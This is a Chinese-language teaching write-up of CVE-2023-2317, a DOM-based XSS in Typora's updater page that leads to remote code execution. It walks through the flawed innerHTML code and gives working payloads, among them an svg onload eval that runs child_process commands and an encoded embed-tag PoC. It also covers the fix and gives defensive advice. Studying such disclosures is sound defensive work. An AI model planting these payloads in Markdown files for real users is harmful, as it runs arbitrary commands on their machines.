Typora 远程代码执行漏洞分析(CVE-2023-2317)
字数 1734 2025-08-24 10:10:13

Typora 远程代码执行漏洞分析(CVE-2023-2317) 教学文档

1. 漏洞概述

漏洞编号: CVE-2023-2317
影响范围: Typora ≤ 1.6.7
漏洞类型: 远程代码执行(RCE)
漏洞说明: 低于1.6.7版本的Typora存在代码执行漏洞,攻击者可以通过在Markdown文件中构造特殊标签,加载typora://app/typemark/updater/update.html并在Typora主窗口的上下文中运行任意JavaScript代码。

2. 漏洞原理分析

2.1 问题代码段

漏洞存在于Typora的更新页面(updater.html)中,关键问题代码如下:

var curVersion = /[?&]curVersion=([^&]*)/.exec(window.location.search)[1];
var newVersion = /[?&]newVersion=([^&]*)/.exec(window.location.search)[1];
var releaseNoteLink = decodeURIComponent(/[?&]releaseNoteLink=([^&]*)/.exec(window.location.search)[1]);
var hideAutoUpdates = /[?&]hideAutoUpdates=([^&]*)/.exec(window.location.search)[1] == "true";
var labels = JSON.parse(decodeURIComponent(/[?&]labels=([^&]*)/.exec(window.location.search)[1]));

document.querySelector("#sum").innerText = labels[4] + labels[5].replace("$1", newVersion).replace("$2", curVersion);
document.querySelectorAll("[data-label]").forEach(function(dom){
    dom.innerHTML = labels[dom.getAttribute("data-label") - 0];
});

2.2 漏洞成因

  1. 输入获取部分:

    • 通过正则表达式匹配获取5个GET参数: curVersionnewVersionreleaseNoteLinkhideAutoUpdateslabels
    • releaseNoteLink参数会做一次URI解码
    • labels参数会先做URI解码,再做JSON解析
  2. DOM操作问题:

    • 使用innerHTML直接替换页面元素内容,且未对输入进行任何清洗
    • 特别是labels数组的前3个元素会直接通过innerHTML插入到DOM中
    • 这导致了DOM型XSS漏洞
  3. Typora特殊环境:

    • Typora内部实现了typora://协议,可以访问特定文件
    • 内部使用reqnode函数代替常规的require函数
    • 通过reqnode('child_process')可以访问Node.js的child_process模块

3. 漏洞利用方法

3.1 利用思路

  1. 构造一个特殊的Markdown文件,包含加载typora://app/typemark/updater/updater.html的标签
  2. 通过GET参数传递恶意payload
  3. 利用innerHTML的不安全操作执行任意JavaScript代码
  4. 通过reqnode('child_process')执行系统命令

3.2 构建Payload

基本Payload结构

<embed src="typora://app/typemark/updater/updater.html?curVersion=a&newVersion=b&releaseNoteLink=c&hideAutoUpdates=false&labels=[...]">

Windows环境Payload

reqnode('child_process').exec("calc")

完整XSS Payload:

<svg/onload=top.eval(`reqnode('child_process').exec('calc')`)></svg>

跨平台Payload

<svg/onload=top.eval(`reqnode('child_process').exec(({Win32: 'calc', Linux: 'gnome-calculator -e "Typora RCE PoC"'})[navigator.platform.substr(0,5)])`)></svg>

最终PoC

<embed src="typora://app/typemark/updater/updater.html?curVersion=a&newVersion=b&releaseNoteLink=c&hideAutoUpdates=false&labels=[%22%22,%22%3Csvg%2Fonload%3Dtop.eval(%60reqnode('child_process').exec('calc')%60)%3E%3C%2Fsvg%3E%22,%22%22,%22%22,%22%22,%22%22]">

3.3 漏洞复现步骤

  1. 创建一个新的Markdown文件
  2. 将构造好的PoC插入到文件中
  3. 使用受影响版本的Typora(≤1.6.7)打开该文件
  4. 观察是否弹出计算器(Windows)或计算器程序(Linux)

4. 漏洞修复方案

Typora在1.6.7版本中修复了此漏洞,主要修复措施包括:

  1. innerHTML替换为innerText,防止HTML解析执行
  2. 更新后的updater.html文件不再直接使用用户输入更新DOM

5. 防御建议

  1. 用户防御:

    • 立即升级到Typora 1.6.7或更高版本
    • 不要打开来源不明的Markdown文件
  2. 开发者防御:

    • 避免直接使用innerHTML插入未经验证的用户输入
    • 对动态内容进行适当的转义和过滤
    • 使用内容安全策略(CSP)限制脚本执行
    • 最小化暴露给渲染上下文的API

6. 技术细节补充

6.1 Typora内部协议

Typora实现了typora://协议,用于访问特定文件:

  • 示例: typora://app/typemark/lib.asar/MathJax3/es5/input/tex/extensions/xypic.js
  • updater.html路径: typora://app/typemark/updater/updater.html

6.2 reqnode函数

Typora内部使用reqnode代替Node.js的require:

reqnode('child_process').exec("command")

6.3 参数处理细节

  • labels参数必须是至少包含6个元素的数组
  • 前3个元素会通过innerHTML插入DOM(漏洞点)
  • 第4、5个元素使用innerText插入(安全)

7. 参考链接

  1. Typora官方网站
  2. CVE-2023-2317漏洞详情
  3. Node.js child_process模块文档
Typora 远程代码执行漏洞分析(CVE-2023-2317) 教学文档 1. 漏洞概述 漏洞编号 : CVE-2023-2317 影响范围 : Typora ≤ 1.6.7 漏洞类型 : 远程代码执行(RCE) 漏洞说明 : 低于1.6.7版本的Typora存在代码执行漏洞,攻击者可以通过在Markdown文件中构造特殊标签,加载 typora://app/typemark/updater/update.html 并在Typora主窗口的上下文中运行任意JavaScript代码。 2. 漏洞原理分析 2.1 问题代码段 漏洞存在于Typora的更新页面(updater.html)中,关键问题代码如下: 2.2 漏洞成因 输入获取部分 : 通过正则表达式匹配获取5个GET参数: curVersion 、 newVersion 、 releaseNoteLink 、 hideAutoUpdates 和 labels releaseNoteLink 参数会做一次URI解码 labels 参数会先做URI解码,再做JSON解析 DOM操作问题 : 使用 innerHTML 直接替换页面元素内容,且未对输入进行任何清洗 特别是 labels 数组的前3个元素会直接通过 innerHTML 插入到DOM中 这导致了DOM型XSS漏洞 Typora特殊环境 : Typora内部实现了 typora:// 协议,可以访问特定文件 内部使用 reqnode 函数代替常规的 require 函数 通过 reqnode('child_process') 可以访问Node.js的child_ process模块 3. 漏洞利用方法 3.1 利用思路 构造一个特殊的Markdown文件,包含加载 typora://app/typemark/updater/updater.html 的标签 通过GET参数传递恶意payload 利用 innerHTML 的不安全操作执行任意JavaScript代码 通过 reqnode('child_process') 执行系统命令 3.2 构建Payload 基本Payload结构 Windows环境Payload 完整XSS Payload: 跨平台Payload 最终PoC 3.3 漏洞复现步骤 创建一个新的Markdown文件 将构造好的PoC插入到文件中 使用受影响版本的Typora(≤1.6.7)打开该文件 观察是否弹出计算器(Windows)或计算器程序(Linux) 4. 漏洞修复方案 Typora在1.6.7版本中修复了此漏洞,主要修复措施包括: 将 innerHTML 替换为 innerText ,防止HTML解析执行 更新后的updater.html文件不再直接使用用户输入更新DOM 5. 防御建议 用户防御 : 立即升级到Typora 1.6.7或更高版本 不要打开来源不明的Markdown文件 开发者防御 : 避免直接使用 innerHTML 插入未经验证的用户输入 对动态内容进行适当的转义和过滤 使用内容安全策略(CSP)限制脚本执行 最小化暴露给渲染上下文的API 6. 技术细节补充 6.1 Typora内部协议 Typora实现了 typora:// 协议,用于访问特定文件: 示例: typora://app/typemark/lib.asar/MathJax3/es5/input/tex/extensions/xypic.js updater.html路径: typora://app/typemark/updater/updater.html 6.2 reqnode函数 Typora内部使用 reqnode 代替Node.js的 require : 6.3 参数处理细节 labels 参数必须是至少包含6个元素的数组 前3个元素会通过 innerHTML 插入DOM(漏洞点) 第4、5个元素使用 innerText 插入(安全) 7. 参考链接 Typora官方网站 CVE-2023-2317漏洞详情 Node.js child_ process模块文档